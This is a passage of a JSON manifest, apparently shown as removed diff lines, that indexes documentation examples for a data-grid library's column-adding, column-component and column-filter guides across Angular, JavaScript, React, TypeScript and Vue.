"docPermalink": "/time-cell-type", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/columns/column-adding/angular/example1.ts", - "file": "guides__columns__column-adding__angular__example1.ts.json", - "breadcrumb": [ - "Columns", - "Adding and removing columns" - ], - "guide": "guides/columns/column-adding/column-adding.md", - "guideTitle": "Adding and removing columns", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/column-adding", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/columns/column-adding/javascript/example1.js", - "file": "guides__columns__column-adding__javascript__example1.js.json", - "breadcrumb": [ - "Columns", - "Adding and removing columns" - ], - "guide": "guides/columns/column-adding/column-adding.md", - "guideTitle": "Adding and removing columns", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/column-adding", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/columns/column-adding/react/example1.tsx", - "file": "guides__columns__column-adding__react__example1.tsx.json", - "breadcrumb": [ - "Columns", - "Adding and removing columns" - ], - "guide": "guides/columns/column-adding/column-adding.md", - "guideTitle": "Adding and removing columns", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/column-adding", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/columns/column-adding/javascript/example1.ts", - "file": "guides__columns__column-adding__javascript__example1.ts.json", - "breadcrumb": [ - "Columns", - "Adding and removing columns" - ], - "guide": "guides/columns/column-adding/column-adding.md", - "guideTitle": "Adding and removing columns", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/column-adding", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/columns/column-adding/vue/example1.vue", - "file": "guides__columns__column-adding__vue__example1.vue.json", - "breadcrumb": [ - "Columns", - "Adding and removing columns" - ], - "guide": "guides/columns/column-adding/column-adding.md", - "guideTitle": "Adding and removing columns", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/column-adding", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/columns/column-adding/angular/example2.ts", - "file": "guides__columns__column-adding__angular__example2.ts.json", - "breadcrumb": [ - "Columns", - "Adding and removing columns" - ], - "guide": "guides/columns/column-adding/column-adding.md", - "guideTitle": "Adding and removing columns", - "exampleId": "example2", - "exampleTitle": "Add and remove columns from the context menu", - "docPermalink": "/column-adding", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/columns/column-adding/javascript/example2.js", - "file": "guides__columns__column-adding__javascript__example2.js.json", - "breadcrumb": [ - "Columns", - "Adding and removing columns" - ], - "guide": "guides/columns/column-adding/column-adding.md", - "guideTitle": "Adding and removing columns", - "exampleId": "example2", - "exampleTitle": "Add and remove columns from the context menu", - "docPermalink": "/column-adding", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/columns/column-adding/react/example2.tsx", - "file": "guides__columns__column-adding__react__example2.tsx.json", - "breadcrumb": [ - "Columns", - "Adding and removing columns" - ], - "guide": "guides/columns/column-adding/column-adding.md", - "guideTitle": "Adding and removing columns", - "exampleId": "example2", - "exampleTitle": "Add and remove columns from the context menu", - "docPermalink": "/column-adding", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/columns/column-adding/javascript/example2.ts", - "file": "guides__columns__column-adding__javascript__example2.ts.json", - "breadcrumb": [ - "Columns", - "Adding and removing columns" - ], - "guide": "guides/columns/column-adding/column-adding.md", - "guideTitle": "Adding and removing columns", - "exampleId": "example2", - "exampleTitle": "Add and remove columns from the context menu", - "docPermalink": "/column-adding", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/columns/column-adding/vue/example2.vue", - "file": "guides__columns__column-adding__vue__example2.vue.json", - "breadcrumb": [ - "Columns", - "Adding and removing columns" - ], - "guide": "guides/columns/column-adding/column-adding.md", - "guideTitle": "Adding and removing columns", - "exampleId": "example2", - "exampleTitle": "Add and remove columns from the context menu", - "docPermalink": "/column-adding", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/columns/react-hot-column/react/example1.tsx", - "file": "guides__columns__react-hot-column__react__example1.tsx.json", - "breadcrumb": [ - "Columns", - "Column component" - ], - "guide": "guides/columns/react-hot-column/react-hot-column.md", - "guideTitle": "Column component", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/hot-column", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/columns/react-hot-column/react/example3.tsx", - "file": "guides__columns__react-hot-column__react__example3.tsx.json", - "breadcrumb": [ - "Columns", - "Column component" - ], - "guide": "guides/columns/react-hot-column/react-hot-column.md", - "guideTitle": "Column component", - "exampleId": "example3", - "exampleTitle": "Object data source", - "docPermalink": "/hot-column", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/columns/column-filter/angular/example10.ts", - "file": "guides__columns__column-filter__angular__example10.ts.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "example10", - "exampleTitle": "Server-side filtering (2)", - "docPermalink": "/column-filter", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/columns/column-filter/angular/example11.ts", - "file": "guides__columns__column-filter__angular__example11.ts.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "example11", - "exampleTitle": "Filter data programmatically (2)", - "docPermalink": "/column-filter", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/columns/column-filter/angular/example12.ts", - "file": "guides__columns__column-filter__angular__example12.ts.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "example12", - "exampleTitle": "Enable filtering within already filtered results (2)", - "docPermalink": "/column-filter", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/columns/column-filter/angular/example13.ts", - "file": "guides__columns__column-filter__angular__example13.ts.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "example13", - "exampleTitle": "Save and restore filter settings (2)", - "docPermalink": "/column-filter", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/columns/column-filter/angular/example14.ts", - "file": "guides__columns__column-filter__angular__example14.ts.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "example14", - "exampleTitle": "Get filtered data (2)", - "docPermalink": "/column-filter", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/columns/column-filter/angular/example1.ts", - "file": "guides__columns__column-filter__angular__example1.ts.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "example1", - "exampleTitle": "Standard example", - "docPermalink": "/column-filter", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/columns/column-filter/angular/example2.ts", - "file": "guides__columns__column-filter__angular__example2.ts.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "example2", - "exampleTitle": "Enable filtering (2)", - "docPermalink": "/column-filter", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/columns/column-filter/angular/example3.ts", - "file": "guides__columns__column-filter__angular__example3.ts.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "example3", - "exampleTitle": "Enable filtering for individual columns (2)", - "docPermalink": "/column-filter", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/columns/column-filter/angular/example4.ts", - "file": "guides__columns__column-filter__angular__example4.ts.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "example4", - "exampleTitle": "Filter different types of data (2)", - "docPermalink": "/column-filter", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/columns/column-filter/angular/example5.ts", - "file": "guides__columns__column-filter__angular__example5.ts.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "example5", - "exampleTitle": "Filter data on initialization (2)", - "docPermalink": "/column-filter", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/columns/column-filter/angular/example6.ts", - "file": "guides__columns__column-filter__angular__example6.ts.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "example6", - "exampleTitle": "External quick filter (2)", - "docPermalink": "/column-filter", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/columns/column-filter/angular/example7.ts", - "file": "guides__columns__column-filter__angular__example7.ts.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "example7", - "exampleTitle": "Customize the filter button (2)", - "docPermalink": "/column-filter", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/columns/column-filter/angular/example8.ts", - "file": "guides__columns__column-filter__angular__example8.ts.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "example8", - "exampleTitle": "Customize the filter button (4)", - "docPermalink": "/column-filter", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/columns/column-filter/angular/example9.ts", - "file": "guides__columns__column-filter__angular__example9.ts.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "example9", - "exampleTitle": "Exclude rows from filtering (2)", - "docPermalink": "/column-filter", - "framework": "angular", - "displayName": "Angular" - }, - { - "docsPath": "guides/columns/column-filter/javascript/exampleCustomFilterButton2.js", - "file": "guides__columns__column-filter__javascript__exampleCustomFilterButton2.js.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "exampleCustomFilterButton2", - "exampleTitle": "Customize the filter button (3)", - "docPermalink": "/column-filter", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/columns/column-filter/react/exampleCustomFilterButton2.tsx", - "file": "guides__columns__column-filter__react__exampleCustomFilterButton2.tsx.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "exampleCustomFilterButton2", - "exampleTitle": "Customize the filter button (3)", - "docPermalink": "/column-filter", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/columns/column-filter/javascript/exampleCustomFilterButton2.ts", - "file": "guides__columns__column-filter__javascript__exampleCustomFilterButton2.ts.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "exampleCustomFilterButton2", - "exampleTitle": "Customize the filter button (3)", - "docPermalink": "/column-filter", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/columns/column-filter/vue/exampleCustomFilterButton2.vue", - "file": "guides__columns__column-filter__vue__exampleCustomFilterButton2.vue.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "exampleCustomFilterButton2", - "exampleTitle": "Customize the filter button (3)", - "docPermalink": "/column-filter", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/columns/column-filter/javascript/exampleCustomFilterButton.js", - "file": "guides__columns__column-filter__javascript__exampleCustomFilterButton.js.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "exampleCustomFilterButton", - "exampleTitle": "Customize the filter button", - "docPermalink": "/column-filter", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/columns/column-filter/react/exampleCustomFilterButton.tsx", - "file": "guides__columns__column-filter__react__exampleCustomFilterButton.tsx.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "exampleCustomFilterButton", - "exampleTitle": "Customize the filter button", - "docPermalink": "/column-filter", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/columns/column-filter/javascript/exampleCustomFilterButton.ts", - "file": "guides__columns__column-filter__javascript__exampleCustomFilterButton.ts.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "exampleCustomFilterButton", - "exampleTitle": "Customize the filter button", - "docPermalink": "/column-filter", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/columns/column-filter/vue/exampleCustomFilterButton.vue", - "file": "guides__columns__column-filter__vue__exampleCustomFilterButton.vue.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "exampleCustomFilterButton", - "exampleTitle": "Customize the filter button", - "docPermalink": "/column-filter", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/columns/column-filter/javascript/exampleEnableFilterInColumns.js", - "file": "guides__columns__column-filter__javascript__exampleEnableFilterInColumns.js.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "exampleEnableFilterInColumns", - "exampleTitle": "Enable filtering for individual columns", - "docPermalink": "/column-filter", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/columns/column-filter/react/exampleEnableFilterInColumns.tsx", - "file": "guides__columns__column-filter__react__exampleEnableFilterInColumns.tsx.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "exampleEnableFilterInColumns", - "exampleTitle": "Enable filtering for individual columns", - "docPermalink": "/column-filter", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/columns/column-filter/javascript/exampleEnableFilterInColumns.ts", - "file": "guides__columns__column-filter__javascript__exampleEnableFilterInColumns.ts.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "exampleEnableFilterInColumns", - "exampleTitle": "Enable filtering for individual columns", - "docPermalink": "/column-filter", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/columns/column-filter/vue/exampleEnableFilterInColumns.vue", - "file": "guides__columns__column-filter__vue__exampleEnableFilterInColumns.vue.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "exampleEnableFilterInColumns", - "exampleTitle": "Enable filtering for individual columns", - "docPermalink": "/column-filter", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/columns/column-filter/javascript/exampleExcludeRowsFromFiltering.js", - "file": "guides__columns__column-filter__javascript__exampleExcludeRowsFromFiltering.js.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "exampleExcludeRowsFromFiltering", - "exampleTitle": "Exclude rows from filtering", - "docPermalink": "/column-filter", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/columns/column-filter/react/exampleExcludeRowsFromFiltering.tsx", - "file": "guides__columns__column-filter__react__exampleExcludeRowsFromFiltering.tsx.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "exampleExcludeRowsFromFiltering", - "exampleTitle": "Exclude rows from filtering", - "docPermalink": "/column-filter", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/columns/column-filter/javascript/exampleExcludeRowsFromFiltering.ts", - "file": "guides__columns__column-filter__javascript__exampleExcludeRowsFromFiltering.ts.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "exampleExcludeRowsFromFiltering", - "exampleTitle": "Exclude rows from filtering", - "docPermalink": "/column-filter", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/columns/column-filter/vue/exampleExcludeRowsFromFiltering.vue", - "file": "guides__columns__column-filter__vue__exampleExcludeRowsFromFiltering.vue.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "exampleExcludeRowsFromFiltering", - "exampleTitle": "Exclude rows from filtering", - "docPermalink": "/column-filter", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/columns/column-filter/javascript/exampleFilterBasicDemo.js", - "file": "guides__columns__column-filter__javascript__exampleFilterBasicDemo.js.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "exampleFilterBasicDemo", - "exampleTitle": "Filtering demo", - "docPermalink": "/column-filter", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/columns/column-filter/react/exampleFilterBasicDemo.tsx", - "file": "guides__columns__column-filter__react__exampleFilterBasicDemo.tsx.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "exampleFilterBasicDemo", - "exampleTitle": "Filtering demo", - "docPermalink": "/column-filter", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/columns/column-filter/javascript/exampleFilterBasicDemo.ts", - "file": "guides__columns__column-filter__javascript__exampleFilterBasicDemo.ts.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "exampleFilterBasicDemo", - "exampleTitle": "Filtering demo", - "docPermalink": "/column-filter", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/columns/column-filter/vue/exampleFilterBasicDemo.vue", - "file": "guides__columns__column-filter__vue__exampleFilterBasicDemo.vue.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "exampleFilterBasicDemo", - "exampleTitle": "Filtering demo", - "docPermalink": "/column-filter", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/columns/column-filter/javascript/exampleFilterDifferentTypes.js", - "file": "guides__columns__column-filter__javascript__exampleFilterDifferentTypes.js.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "exampleFilterDifferentTypes", - "exampleTitle": "Filter different types of data", - "docPermalink": "/column-filter", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/columns/column-filter/react/exampleFilterDifferentTypes.tsx", - "file": "guides__columns__column-filter__react__exampleFilterDifferentTypes.tsx.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "exampleFilterDifferentTypes", - "exampleTitle": "Filter different types of data", - "docPermalink": "/column-filter", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/columns/column-filter/javascript/exampleFilterDifferentTypes.ts", - "file": "guides__columns__column-filter__javascript__exampleFilterDifferentTypes.ts.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "exampleFilterDifferentTypes", - "exampleTitle": "Filter different types of data", - "docPermalink": "/column-filter", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/columns/column-filter/vue/exampleFilterDifferentTypes.vue", - "file": "guides__columns__column-filter__vue__exampleFilterDifferentTypes.vue.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "exampleFilterDifferentTypes", - "exampleTitle": "Filter different types of data", - "docPermalink": "/column-filter", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/columns/column-filter/javascript/exampleFilterOnInitialization.js", - "file": "guides__columns__column-filter__javascript__exampleFilterOnInitialization.js.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "exampleFilterOnInitialization", - "exampleTitle": "Filter data on initialization", - "docPermalink": "/column-filter", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/columns/column-filter/react/exampleFilterOnInitialization.tsx", - "file": "guides__columns__column-filter__react__exampleFilterOnInitialization.tsx.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "exampleFilterOnInitialization", - "exampleTitle": "Filter data on initialization", - "docPermalink": "/column-filter", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/columns/column-filter/javascript/exampleFilterOnInitialization.ts", - "file": "guides__columns__column-filter__javascript__exampleFilterOnInitialization.ts.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "exampleFilterOnInitialization", - "exampleTitle": "Filter data on initialization", - "docPermalink": "/column-filter", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/columns/column-filter/vue/exampleFilterOnInitialization.vue", - "file": "guides__columns__column-filter__vue__exampleFilterOnInitialization.vue.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "exampleFilterOnInitialization", - "exampleTitle": "Filter data on initialization", - "docPermalink": "/column-filter", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/columns/column-filter/javascript/exampleFilterThroughAPI1.js", - "file": "guides__columns__column-filter__javascript__exampleFilterThroughAPI1.js.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "exampleFilterThroughAPI1", - "exampleTitle": "Filter data programmatically", - "docPermalink": "/column-filter", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/columns/column-filter/react/exampleFilterThroughAPI1.tsx", - "file": "guides__columns__column-filter__react__exampleFilterThroughAPI1.tsx.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "exampleFilterThroughAPI1", - "exampleTitle": "Filter data programmatically", - "docPermalink": "/column-filter", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/columns/column-filter/javascript/exampleFilterThroughAPI1.ts", - "file": "guides__columns__column-filter__javascript__exampleFilterThroughAPI1.ts.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "exampleFilterThroughAPI1", - "exampleTitle": "Filter data programmatically", - "docPermalink": "/column-filter", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/columns/column-filter/vue/exampleFilterThroughAPI1.vue", - "file": "guides__columns__column-filter__vue__exampleFilterThroughAPI1.vue.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "exampleFilterThroughAPI1", - "exampleTitle": "Filter data programmatically", - "docPermalink": "/column-filter", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/columns/column-filter/javascript/exampleGetFilteredData.js", - "file": "guides__columns__column-filter__javascript__exampleGetFilteredData.js.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "exampleGetFilteredData", - "exampleTitle": "Get filtered data", - "docPermalink": "/column-filter", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/columns/column-filter/react/exampleGetFilteredData.tsx", - "file": "guides__columns__column-filter__react__exampleGetFilteredData.tsx.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "exampleGetFilteredData", - "exampleTitle": "Get filtered data", - "docPermalink": "/column-filter", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/columns/column-filter/javascript/exampleGetFilteredData.ts", - "file": "guides__columns__column-filter__javascript__exampleGetFilteredData.ts.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "exampleGetFilteredData", - "exampleTitle": "Get filtered data", - "docPermalink": "/column-filter", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/columns/column-filter/vue/exampleGetFilteredData.vue", - "file": "guides__columns__column-filter__vue__exampleGetFilteredData.vue.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "exampleGetFilteredData", - "exampleTitle": "Get filtered data", - "docPermalink": "/column-filter", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/columns/column-filter/javascript/exampleQuickFilter.js", - "file": "guides__columns__column-filter__javascript__exampleQuickFilter.js.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "exampleQuickFilter", - "exampleTitle": "External quick filter", - "docPermalink": "/column-filter", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/columns/column-filter/react/exampleQuickFilter.tsx", - "file": "guides__columns__column-filter__react__exampleQuickFilter.tsx.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "exampleQuickFilter", - "exampleTitle": "External quick filter", - "docPermalink": "/column-filter", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/columns/column-filter/javascript/exampleQuickFilter.ts", - "file": "guides__columns__column-filter__javascript__exampleQuickFilter.ts.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "exampleQuickFilter", - "exampleTitle": "External quick filter", - "docPermalink": "/column-filter", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/columns/column-filter/vue/exampleQuickFilter.vue", - "file": "guides__columns__column-filter__vue__exampleQuickFilter.vue.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "exampleQuickFilter", - "exampleTitle": "External quick filter", - "docPermalink": "/column-filter", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/columns/column-filter/javascript/exampleSaveRestoreFilters.js", - "file": "guides__columns__column-filter__javascript__exampleSaveRestoreFilters.js.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "exampleSaveRestoreFilters", - "exampleTitle": "Save and restore filter settings", - "docPermalink": "/column-filter", - "framework": "javascript", - "displayName": "JavaScript" - }, - { - "docsPath": "guides/columns/column-filter/react/exampleSaveRestoreFilters.tsx", - "file": "guides__columns__column-filter__react__exampleSaveRestoreFilters.tsx.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "exampleSaveRestoreFilters", - "exampleTitle": "Save and restore filter settings", - "docPermalink": "/column-filter", - "framework": "react", - "displayName": "React (TS)" - }, - { - "docsPath": "guides/columns/column-filter/javascript/exampleSaveRestoreFilters.ts", - "file": "guides__columns__column-filter__javascript__exampleSaveRestoreFilters.ts.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "exampleSaveRestoreFilters", - "exampleTitle": "Save and restore filter settings", - "docPermalink": "/column-filter", - "framework": "typescript", - "displayName": "TypeScript" - }, - { - "docsPath": "guides/columns/column-filter/vue/exampleSaveRestoreFilters.vue", - "file": "guides__columns__column-filter__vue__exampleSaveRestoreFilters.vue.json", - "breadcrumb": [ - "Columns", - "Column filter" - ], - "guide": "guides/columns/column-filter/column-filter.md", - "guideTitle": "Column filter", - "exampleId": "exampleSaveRestoreFilters", - "exampleTitle": "Save and restore filter settings", - "docPermalink": "/column-filter", - "framework": "vue", - "displayName": "Vue 3" - }, - { - "docsPath": "guides/columns/column-filter/javascript/exampleSearchMode.js", - "file": 